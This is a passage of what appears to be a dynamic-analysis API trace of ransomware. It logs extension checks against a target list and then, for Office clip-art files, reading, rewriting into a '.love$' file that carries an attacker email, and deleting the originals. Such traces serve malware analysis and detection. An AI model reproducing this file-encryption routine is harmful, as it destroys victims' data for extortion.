[0243.656] lstrlenW (lpString=".zip") returned 4 [0243.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.656] lstrlenW (lpString=".rar") returned 4 [0243.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.656] lstrlenW (lpString=".bz2") returned 4 [0243.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.656] lstrlenW (lpString=".7z") returned 3 [0243.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0243.656] lstrlenW (lpString=".dbf") returned 4 [0243.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0243.656] lstrlenW (lpString=".1cd") returned 4 [0243.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0243.656] lstrlenW (lpString=".jpg") returned 4 [0243.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0243.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0243.657] lstrlenW (lpString=".doc") returned 4 [0243.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.657] lstrlenW (lpString=".docx") returned 5 [0243.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.657] lstrlenW (lpString=".pdf") returned 4 [0243.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.657] lstrlenW (lpString=".xls") returned 4 [0243.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.657] lstrlenW (lpString=".xlsx") returned 5 [0243.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.657] lstrlenW (lpString=".ppt") returned 4 [0243.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0243.657] lstrlenW (lpString=".zip") returned 4 [0243.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.657] lstrlenW (lpString=".rar") returned 4 [0243.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.657] lstrlenW (lpString=".bz2") returned 4 [0243.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.657] lstrlenW (lpString=".7z") returned 3 [0243.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0243.657] lstrlenW (lpString=".dbf") returned 4 [0243.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0243.657] lstrlenW (lpString=".1cd") returned 4 [0243.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0243.657] lstrlenW (lpString=".jpg") returned 4 [0243.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.657] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.658] lstrlenW (lpString="DD01178_.WMF") returned 12 [0243.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.659] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3796) returned 1 [0243.659] CloseHandle (hObject=0x548) returned 1 [0243.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220 [0243.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.660] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.660] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0243.661] GetLastError () returned 0x0 [0243.661] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xed4, lpOverlapped=0x0) returned 1 [0244.001] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xee0, lpOverlapped=0x0) returned 1 [0244.002] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0244.002] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0244.003] SetEndOfFile (hFile=0x534) returned 1 [0244.003] CloseHandle (hObject=0x534) returned 1 [0244.003] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.003] SetEndOfFile (hFile=0x548) returned 1 [0244.025] CloseHandle (hObject=0x548) returned 1 [0244.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0244.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0244.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0244.027] lstrlenW (lpString=".doc") returned 4 [0244.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.027] lstrlenW (lpString=".docx") returned 5 [0244.028] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.028] lstrlenW (lpString=".pdf") returned 4 [0244.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.028] lstrlenW (lpString=".xls") returned 4 [0244.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.028] lstrlenW (lpString=".xlsx") returned 5 [0244.028] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.028] lstrlenW (lpString=".ppt") returned 4 [0244.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0244.028] lstrlenW (lpString=".zip") returned 4 [0244.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.028] lstrlenW (lpString=".rar") returned 4 [0244.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.028] lstrlenW (lpString=".bz2") returned 4 [0244.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.029] lstrlenW (lpString=".7z") returned 3 [0244.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0244.029] lstrlenW (lpString=".dbf") returned 4 [0244.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0244.029] lstrlenW (lpString=".1cd") returned 4 [0244.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0244.029] lstrlenW (lpString=".jpg") returned 4 [0244.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0244.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0244.029] lstrlenW (lpString=".doc") returned 4 [0244.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.029] lstrlenW (lpString=".docx") returned 5 [0244.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.029] lstrlenW (lpString=".pdf") returned 4 [0244.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.029] lstrlenW (lpString=".xls") returned 4 [0244.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.030] lstrlenW (lpString=".xlsx") returned 5 [0244.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.030] lstrlenW (lpString=".ppt") returned 4 [0244.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0244.030] lstrlenW (lpString=".zip") returned 4 [0244.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.030] lstrlenW (lpString=".rar") returned 4 [0244.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.030] lstrlenW (lpString=".bz2") returned 4 [0244.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.030] lstrlenW (lpString=".7z") returned 3 [0244.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0244.030] lstrlenW (lpString=".dbf") returned 4 [0244.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0244.030] lstrlenW (lpString=".1cd") returned 4 [0244.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0244.031] lstrlenW (lpString=".jpg") returned 4 [0244.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.031] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0244.031] lstrlenW (lpString="DD01366_.WMF") returned 12 [0244.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0244.032] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1768) returned 1 [0244.032] CloseHandle (hObject=0x548) returned 1 [0244.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220 [0244.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0244.033] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.033] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0244.034] GetLastError () returned 0x0 [0244.035] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x6e8, lpOverlapped=0x0) returned 1 [0244.037] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x6f0, lpOverlapped=0x0) returned 1 [0244.039] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0244.039] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0244.039] SetEndOfFile (hFile=0x534) returned 1 [0244.039] CloseHandle (hObject=0x534) returned 1 [0244.039] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.039] SetEndOfFile (hFile=0x548) returned 1 [0244.046] CloseHandle (hObject=0x548) returned 1 [0244.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0244.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0244.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0244.048] lstrlenW (lpString=".doc") returned 4 [0244.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.048] lstrlenW (lpString=".docx") returned 5 [0244.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.048] lstrlenW (lpString=".pdf") returned 4 [0244.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.048] lstrlenW (lpString=".xls") returned 4 [0244.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.048] lstrlenW (lpString=".xlsx") returned 5 [0244.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.048] lstrlenW (lpString=".ppt") returned 4 [0244.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0244.048] lstrlenW (lpString=".zip") returned 4 [0244.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.048] lstrlenW (lpString=".rar") returned 4 [0244.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.049] lstrlenW (lpString=".bz2") returned 4 [0244.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.049] lstrlenW (lpString=".7z") returned 3 [0244.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0244.049] lstrlenW (lpString=".dbf") returned 4 [0244.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0244.049] lstrlenW (lpString=".1cd") returned 4 [0244.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0244.049] lstrlenW (lpString=".jpg") returned 4 [0244.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0244.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0244.049] lstrlenW (lpString=".doc") returned 4 [0244.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.049] lstrlenW (lpString=".docx") returned 5 [0244.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.050] lstrlenW (lpString=".pdf") returned 4 [0244.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.050] lstrlenW (lpString=".xls") returned 4 [0244.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.050] lstrlenW (lpString=".xlsx") returned 5 [0244.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.050] lstrlenW (lpString=".ppt") returned 4 [0244.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0244.050] lstrlenW (lpString=".zip") returned 4 [0244.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.050] lstrlenW (lpString=".rar") returned 4 [0244.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.050] lstrlenW (lpString=".bz2") returned 4 [0244.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.050] lstrlenW (lpString=".7z") returned 3 [0244.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0244.050] lstrlenW (lpString=".dbf") returned 4 [0244.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0244.050] lstrlenW (lpString=".1cd") returned 4 [0244.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0244.051] lstrlenW (lpString=".jpg") returned 4 [0244.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.051] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0244.051] lstrlenW (lpString="DD01434_.WMF") returned 12 [0244.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0244.053] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=900) returned 1 [0244.053] CloseHandle (hObject=0x548) returned 1 [0244.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220 [0244.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0244.054] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.054] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0244.055] GetLastError () returned 0x0 [0244.055] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x384, lpOverlapped=0x0) returned 1 [0244.342] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x390, lpOverlapped=0x0) returned 1 [0244.343] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0244.343] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0244.343] SetEndOfFile (hFile=0x534) returned 1 [0244.493] CloseHandle (hObject=0x534) returned 1 [0244.493] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.493] SetEndOfFile (hFile=0x548) returned 1 [0244.497] CloseHandle (hObject=0x548) returned 1 [0244.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0244.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0244.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0244.920] lstrlenW (lpString=".doc") returned 4 [0244.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.920] lstrlenW (lpString=".docx") returned 5 [0244.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.920] lstrlenW (lpString=".pdf") returned 4 [0244.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.920] lstrlenW (lpString=".xls") returned 4 [0244.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.920] lstrlenW (lpString=".xlsx") returned 5 [0244.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.920] lstrlenW (lpString=".ppt") returned 4 [0244.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0244.920] lstrlenW (lpString=".zip") returned 4 [0244.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.921] lstrlenW (lpString=".rar") returned 4 [0244.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.921] lstrlenW (lpString=".bz2") returned 4 [0244.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.921] lstrlenW (lpString=".7z") returned 3 [0244.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0244.921] lstrlenW 